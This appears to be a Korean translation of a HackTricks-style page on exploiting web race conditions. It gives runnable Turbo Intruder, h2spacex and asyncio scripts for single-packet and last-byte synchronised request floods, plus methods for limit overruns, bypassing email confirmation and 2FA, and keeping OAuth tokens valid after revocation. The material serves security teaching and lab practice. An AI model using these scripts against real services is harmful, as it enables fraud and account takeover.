# 경쟁 조건
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{% hint style="warning" %} 이 기술에 대한 심층적인 이해를 얻으려면 원본 보고서를 확인하세요 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## 경쟁 조건 공격 향상 경쟁 조건을 활용하는 데 주요 장애물은 **여러 요청이 **동시에 처리되고 있음을 확인하는 것이며, 이때 **처리 시간에 매우 작은 차이가 있어야 합니다. 이상적으로는 1ms 미만**이어야 합니다. 여기서 요청 동기화를 위한 몇 가지 기술을 찾을 수 있습니다: #### HTTP/2 단일 패킷 공격 대 HTTP/1.1 마지막 바이트 동기화 * **HTTP/2**: 하나의 TCP 연결을 통해 두 개의 요청을 보낼 수 있어 네트워크 지연 영향을 줄입니다. 그러나 서버 측 변동으로 인해 두 개의 요청만으로는 일관된 경쟁 조건 공격이 충분하지 않을 수 있습니다. * **HTTP/1.1 '마지막 바이트 동기화'**: 20-30개의 대부분의 부분을 미리 보내고 작은 조각을 보류한 후 함께 보내어 서버에 동시에 도착하도록 하는 것을 가능하게 합니다. **마지막 바이트 동기화를 위한 준비**는 다음과 같습니다: 1. 스트림을 종료하지 않고 최종 바이트를 제외한 헤더 및 본문 데이터를 보냅니다. 2. 초기 전송 후 100ms 일시 중지합니다. 3. 최종 프레임을 일괄 처리하기 위해 Nagle의 알고리즘을 사용하기 위해 TCP\_NODELAY를 비활성화합니다. 4. 연결을 미리 준비하기 위해 핑을 보냅니다. 보류된 프레임의 후속 전송은 Wireshark를 통해 단일 패킷으로의 도착을 확인해야 합니다. 이 방법은 일반적으로 RC 공격에 관여하지 않는 정적 파일에는 적용되지 않습니다. ### 서버 아키텍처에 적응 대상의 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 시간에 영향을 줄 수 있습니다. 사전 서버 측 연결을 위한 무해한 요청을 통한 서버 측 연결 미리 준비는 요청 타이밍을 정규화할 수 있습니다. #### 세션 기반 잠금 처리 PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다. #### 속도 또는 리소스 제한 극복 연결 미리 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 의도적으로 웹 서버의 속도 또는 리소스 제한 지연을 유발하여 서버 측 지연을 유도하여 경쟁 조건에 유리한 단일 패킷 공격을 용이하게 할 수 있습니다. ## 공격 예시 * **Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트)**: 요청을 **Turbo Intruder**에 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), 요청에서 **`%s`**와 같이 브루트 포스할 값을 변경할 수 있습니다. `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그리고 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택할 수 있습니다:
**다른 값**을 보내려면 클립보드에서 단어 목록을 사용하는 이 코드로 수정할 수 있습니다: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} 웹이 HTTP2를 지원하지 않는 경우(`HTTP1.1`만 지원하는 경우) `Engine.BURP2` 대신 `Engine.THREADED` 또는 `Engine.BURP`를 사용하십시오. {% endhint %} * **Intruder Pipe - HTTP2 single-packet attack (여러 엔드포인트)**: RCE를 트리거하기 위해 1개의 엔드포인트로 요청을 보내고 다른 엔드포인트로 여러 요청을 보내어야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * **Repeater**에서도 Burp Suite의 새로운 '**Send group in parallel**' 옵션을 통해 사용할 수 있습니다. * **limit-overrun**의 경우 그룹에 **같은 요청을 50번 추가**할 수 있습니다. * **연결을 미리 확립**하기 위해 웹 서버의 정적이 아닌 부분에 몇 가지 **요청을 그룹의 시작 부분에 추가**할 수 있습니다. * **한 요청을 처리하고 다른 요청으로 넘어가는 과정 사이의 지연**을 위해 2개의 하위 상태 단계에서 **두 요청 사이에 추가 요청을 추가**할 수 있습니다. * **다중 엔드포인트** RC의 경우 **숨겨진 상태로 이동하는 요청**을 보낸 다음 그 후에 **숨겨진 상태를 이용하는 50개의 요청**을 보낼 수 있습니다.
* **자동화된 파이썬 스크립트**: 이 스크립트의 목표는 사용자의 이메일을 계속 확인하면서 새 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 이메일을 변경하는 것입니다 (코드에서 이메일을 수정할 수 있지만 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워졌기 때문에 확인이 이전 이메일로 전송되는 RC를 확인했습니다).\ 받은 이메일에서 "objetivo"라는 단어를 찾으면 변경된 이메일의 확인 토큰을 받았음을 알 수 있고 공격을 종료합니다. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Raw BF 이전 연구 이전에 사용된 몇 가지 페이로드는 RC를 유발하기 위해 가능한 한 빠르게 패킷을 보내려고 시도했습니다. * **Repeater:** 이전 섹션의 예제를 확인하십시오. * **Intruder**: **Intruder**에 **요청**을 보내고, **옵션 메뉴**에서 **쓰레드 수**를 **30**으로 설정하고, 페이로드로 **Null payloads**를 선택하고 **30**을 생성하십시오. * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Methodology** ### Limit-overrun / TOCTOU 이것은 행동을 수행할 수 있는 횟수를 제한하는 위치에서 발생하는 취약점인 가장 기본적인 종류의 경쟁 조건입니다. 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 것과 같은 예시가 매우 쉽게 찾을 수 있습니다. [**이 보고서**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)나 [**이 버그**](https://hackerone.com/reports/759247)에서 매우 쉬운 예시를 찾을 수 있습니다. 이 종류의 공격에는 다음과 같은 여러 변형이 있습니다: * 선물 카드를 여러 번 사용 * 제품을 여러 번 평가 * 계정 잔액을 초과하여 현금을 인출하거나 이체 * 단일 CAPTCHA 솔루션 재사용 * 안티 브루트 포스 속도 제한 우회 ### **Hidden substates** 복잡한 경쟁 조건을 악용하는 것은 종종 순간적인 기회를 이용하여 숨겨진 또는 의도하지 않은 기계 하위 상태와 상호 작용하는 것을 포함합니다. 다음은 이를 접근하는 방법입니다: 1. **숨겨진 하위 상태 식별** * 사용자 프로필이나 비밀번호 재설정 프로세스와 상호 작용하거나 수정하는 엔드포인트를 정확히 파악하여 시작하십시오. 다음에 중점을 두세요: * **저장**: 서버 측 영구 데이터를 조작하는 엔드포인트를 선호하십시오. * **작업**: 기존 데이터를 변경하는 작업을 찾으세요. 이러한 작업은 새 데이터를 추가하는 것보다 취약한 조건을 만들 가능성이 높습니다. * **키 지정**: 성공적인 공격은 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키 지정된 작업을 포함합니다. 2. **초기 탐지 수행** * 식별된 엔드포인트를 경쟁 조건 공격으로 테스트하면 예상 결과와 다른 변화를 관찰하십시오. 예기치 않은 응답이나 응용 프로그램 동작의 변경은 취약점을 나타낼 수 있습니다. 3. **취약점 증명** * 취약점을 악용하기 위해 필요한 요청의 최소한의 수로 공격 범위를 좁히세요. 이 단계는 정확한 타이밍으로 인해 여러 시도나 자동화가 필요할 수 있습니다. ### Time Sensitive Attacks 요청의 타이밍을 정밀하게 조절하면 예측 가능한 방법(예: 타임스탬프)을 사용하여 보안 토큰을 사용할 때 취약점을 드러낼 수 있습니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하면 동시 요청에 대해 동일한 토큰을 허용할 수 있습니다. **악용 방법:** * 동시에 비밀번호 재설정 요청을 수행하기 위해 정밀한 타이밍(예: 단일 패킷 공격)을 사용하십시오. 동일한 토큰은 취약점을 나타낼 수 있습니다. **예시:** * 동시에 두 개의 비밀번호 재설정 토큰을 요청하고 비교하십시오. 일치하는 토큰은 토큰 생성에 결함이 있음을 나타낼 수 있습니다. **이를 시도해보려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **를 확인하세요.** ## Hidden substates case studies ### Pay & add an Item **이 [PortSwigger Lab](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인하여** 상점에서 **지불**하고 **추가로** 지불할 필요가 없는 **항목을 추가하는 방법**을 확인하세요. ### Confirm other emails **이메일 주소를 확인하고 동시에 다른 이메일 주소로 변경**하여 플랫폼이 새로운 이메일을 확인하는지 확인하세요. ### Change email to 2 emails addresses Cookie based [**이 연구**](https://portswigger.net/research/smashing-the-state-machine)에 따르면 Gitlab은 다른 이메일로 이메일 확인 토큰을 보낼 수 있기 때문에 이 방법으로 인해 취약할 수 있습니다. **이를 시도해보려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **를 확인하세요.** ### Hidden Database states / Confirmation Bypass **데이터베이스에 정보를 추가하기 위해 2개의 다른 쓰기**가 사용되는 경우, 데이터베이스에는 **첫 번째 데이터만 기록된 상태**가 잠시 존재합니다. 예를 들어, 사용자를 생성할 때 **사용자 이름**과 **비밀번호**가 **기록**되고 **그런 다음** 새로 생성된 계정을 확인하는 토큰이 작성됩니다. 이는 잠시 동안 **계정을 확인하는 토큰이 null**임을 의미합니다. 따라서 **계정을 등록하고 빈 토큰(`token=` 또는 `token[]=` 또는 다른 변형)을 사용하여 계정을 즉시 확인하는 여러 요청을 보내면** 이메일을 제어하지 않는 상태에서 **계정을 확인**할 수 있습니다. **이를 시도해보려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **를 확인하세요.** ### Bypass 2FA 다음 의사 코드는 세션을 생성하는 동안 **2단계 인증이 강제되지 않는** 매우 짧은 시간 동안 경쟁 조건에 취약합니다: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 영구 지속성 여러 [**OAUth 제공자**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)가 있습니다. 이러한 서비스는 응용 프로그램을 만들고 제공자가 등록한 사용자를 인증할 수 있게 합니다. 이를 위해 **클라이언트**는 **귀하의 응용 프로그램이** **OAUth 제공자** 내의 일부 데이터에 액세스할 수 있도록 허용해야 합니다.\ 따라서, 여기까지는 구글/링크드인/깃허브 등과 같은 공통 로그인이며, 다음과 같은 페이지가 표시됩니다: "_Application \이(가) 귀하의 정보에 액세스하려고 합니다. 허용하시겠습니까?_" #### `authorization_code`에서의 경쟁 조건 **문제**는 **수락하면** 악의적인 응용 프로그램으로 **`authorization_code`**가 자동으로 전송된다는 것입니다. 그런 다음, 이 **응용 프로그램은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **`authorization_code`**로부터 여러 AT/RT** (_인증 토큰/새로 고침 토큰_)을 생성합니다. 기본적으로 귀하가 응용 프로그램이 데이터에 액세스할 수 있도록 허용했다는 사실을 악용하여 **여러 계정을 생성**합니다. 그런 다음, **응용 프로그램이 데이터에 액세스하는 것을 중지하면 하나의 AT/RT 쌍이 삭제되지만, 다른 것들은 여전히 유효**합니다. #### `Refresh Token`에서의 경쟁 조건 한 번 **유효한 RT를 획득하면** 여러 AT/RT를 생성하려고 시도할 수 있으며, 심지어 사용자가 악의적인 응용 프로그램이 데이터에 액세스하는 권한을 **취소해도 여러 RT가 여전히 유효**할 것입니다. ## **웹소켓에서의 RC** [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)에서 **웹소켓에서도 경쟁 조건을 악용**하기 위해 **병렬로** 웹소켓 메시지를 보내는 Java PoC를 찾을 수 있습니다. ## 참고 자료 * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요 * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}